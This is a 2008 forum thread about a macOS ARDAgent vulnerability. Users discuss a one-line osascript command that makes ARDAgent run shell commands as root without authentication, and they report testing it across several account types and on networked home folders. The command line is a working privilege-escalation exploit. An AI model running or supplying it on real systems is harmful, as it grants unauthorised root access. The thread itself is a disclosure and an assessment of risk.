ARD Agent vulnerability Post: 302207382

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Operating Systems OS X (Apple) ARD Agent vulnerability Post 302207382 by woodgie on Thursday 19th of June 2008 06:05:57 PM

06-19-2008

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Quote:

Originally Posted by afriend

today an anonymous slashdot user posted this little shell command, that uses the ARDAgent to gain root access, without ever needing to authenticate.

the script is:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

Can be used to things like:
osascript -e 'tell app "ARDAgent" to do shell script "scutil --set ComputerName SomeName"'
that would normally require authentication.

It has been tested by quite a few people, and has been found only to work you are physically at a computer and its logged in.

However where I work we use Network Shares as our home folder, and this hack doesnt seem to work. And I just wanted to make sure that there was no way it would work.

When I run the command:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

I get:
execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

Anyone thinks its possible?

I just tested that on the MacBook Pro I use day to day using an admin account, a normal account and the built in guest account and I have to say...

CRIKEY!

I was hoping maybe it was only a problem if you were logged in as an admin user, but it isn't. I'll test it at work tomorrow when I can get access to my test machines and try it with network clients.

This is really some quite major privilege escalation, it's a built in rootkit.

Thank you very much for bringing that to my attention.

Last edited by woodgie; 06-20-2008 at 06:18 AM.. Reason: Do not use curse words in these forums, no exceptions.

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